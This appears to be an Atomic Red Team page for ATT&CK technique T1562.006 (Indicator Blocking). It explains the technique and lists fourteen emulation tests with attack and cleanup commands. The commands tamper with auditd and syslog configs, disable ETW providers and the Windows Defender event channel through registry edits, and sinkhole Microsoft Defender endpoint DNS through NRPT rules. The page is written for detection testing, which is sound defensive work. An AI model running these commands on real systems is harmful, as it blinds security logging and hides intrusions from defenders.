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T1562.006

T1562.006 - Impair Defenses: Indicator Blocking

Description from ATT&CK (opens in a new tab)

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell (opens in a new tab) or Windows Management Instrumentation (opens in a new tab).

For example, adversaries may modify the File value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell (opens in a new tab) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as esxcli system syslog config set and esxcli system syslog config reload.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)

Atomic Tests


Atomic Test #1 - Auditing Configuration Changes on Linux Host

Emulates modification of auditd configuration files

Supported Platforms: Linux

auto_generated_guid: 212cfbcf-4770-4980-bc21-303e37abd0e3

Inputs:

NameDescriptionTypeDefault Value
audisp_config_file_nameThe name of the audispd configuration file to be changedstringaudispd.conf
auditd_config_file_nameThe name of the auditd configuration file to be changedstringauditd.conf
libaudit_config_file_nameThe name of the libaudit configuration file to be changedstringlibaudit.conf

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi 
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}

Cleanup Commands:

sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ d' /etc/#{auditd_config_file_name}
else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ d' /etc/#{libaudit_config_file_name}


Atomic Test #2 - Auditing Configuration Changes on FreeBSD Host

Emulates modification of auditd configuration files

Supported Platforms: Linux

auto_generated_guid: cedaf7e7-28ee-42ab-ba13-456abd35d1bd

Inputs:

NameDescriptionTypeDefault Value
auditd_config_file_nameThe name of the auditd configuration file to be changedstringaudit_event

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}

Cleanup Commands:

sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}


Atomic Test #3 - Logging Configuration Changes on Linux Host

Emulates modification of syslog configuration.

Supported Platforms: Linux

auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c

Inputs:

NameDescriptionTypeDefault Value
syslog_config_file_nameThe name of the syslog configuration file to be changedstringsyslog.conf
rsyslog_config_file_nameThe name of the rsyslog configuration file to be changedstringrsyslog.conf
syslog_ng_config_file_nameThe name of the syslog-ng configuration file to be changedstringsyslog-ng.conf

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi

Cleanup Commands:

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ d' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ d' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi


Atomic Test #4 - Logging Configuration Changes on FreeBSD Host

Emulates modification of syslog configuration.

Supported Platforms: Linux

auto_generated_guid: 6b8ca3ab-5980-4321-80c3-bcd77c8daed8

Inputs:

NameDescriptionTypeDefault Value
syslog_config_file_nameThe name of the syslog configuration file to be changedstringsyslog.conf

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

if [ -f "/etc/#{syslog_config_file_name}" ];
then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
fi

Cleanup Commands:

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name}
fi


Atomic Test #5 - Disable Powershell ETW Provider - Windows

This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.

Supported Platforms: Windows

auto_generated_guid: 6f118276-121d-4c09-bb58-a8fb4a72ee84

Inputs:

NameDescriptionTypeDefault Value
ps_exec_locationLocation of PSExec.stringPathToAtomicsFolder\..\ExternalPayloads\pstools\PsExec.exe
sessionThe session to disable.stringEventLog-Application
providerThe provider to disable.stringMicrosoft-Windows-Powershell

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman update trace "#{session}" --p "#{provider}" -ets

Cleanup Commands:

cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update trace "#{session}" -p "#{provider}" -ets

Dependencies: Run with powershell!

Description: PSExec must be installed on the machine.
Check Prereq Commands:
if (Test-Path "#{ps_exec_location}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip"
expand-archive -literalpath "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\pstools" -force


Atomic Test #6 - Disable .NET Event Tracing for Windows Via Registry (cmd)

Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry

Supported Platforms: Windows

auto_generated_guid: 8a4c33be-a0d3-434a-bee6-315405edbd5b

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0

Cleanup Commands:

REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1


Atomic Test #7 - Disable .NET Event Tracing for Windows Via Registry (powershell)

Disables ETW for the .NET Framework using PowerShell to update the Windows registry

Supported Platforms: Windows

auto_generated_guid: 19c07a45-452d-4620-90ed-4c34fffbe758

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force

Cleanup Commands:

REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1


Atomic Test #8 - LockBit Black - Disable the ETW Provider of Windows Defender -cmd

An adversary can disable the ETW Provider of Windows Defender, so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: f6df0b8e-2c83-44c7-ba5e-0fa4386bec41

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f

Cleanup Commands:

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /f >nul 2>&1


Atomic Test #9 - LockBit Black - Disable the ETW Provider of Windows Defender -Powershell

An adversary can disable the ETW Provider of Windows Defender, so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 69fc085b-5444-4879-8002-b24c8e1a3e02

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled  -PropertyType DWord -Value 0 -Force

Cleanup Commands:

Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -Force -ErrorAction Ignore


Atomic Test #10 - Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.

Supported Platforms: Windows

auto_generated_guid: fdac1f79-b833-4bab-b4a1-11b1ed676a4b

Attack Commands: Run with command_prompt!

REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup Commands:

REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1


Atomic Test #11 - Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.

Supported Platforms: Windows

auto_generated_guid: b42c1f8c-399b-47ae-8fd8-763181395fee

Attack Commands: Run with powershell!

New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup Commands:

Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled


Atomic Test #12 - Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.

Supported Platforms: Windows

auto_generated_guid: 110b4281-43fe-405f-a184-5d8eaf228ebf

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup Commands:

REG DELETE "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /f > nul 2>&1


Atomic Test #13 - Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.

Supported Platforms: Windows

auto_generated_guid: 4d61779d-be7f-425c-b560-0cafb2522911

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup Commands:

Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled


Atomic Test #14 - Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table

Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.

Supported Platforms: Windows

auto_generated_guid: 1174b5df-2c33-490f-8854-f5eb80c907ca

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache

Cleanup Commands:

try {
    # Get all current NRPT rules
        $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' }
    
    # Remove each NRPT rule
        foreach ($rule in $DnsClientNrptRules) {
            Remove-DnsClientNrptRule -Name $rule.Name -Force
        }
    
    # Clear DNS client cache
    Clear-DnsClientCache
    Write-Host "All NRPT rules have been removed and the DNS cache has been cleared."
}
 
catch {
    Write-Host "An error occurred: $_"
}
Clear-DnsClientCache

T1562.004T1562.008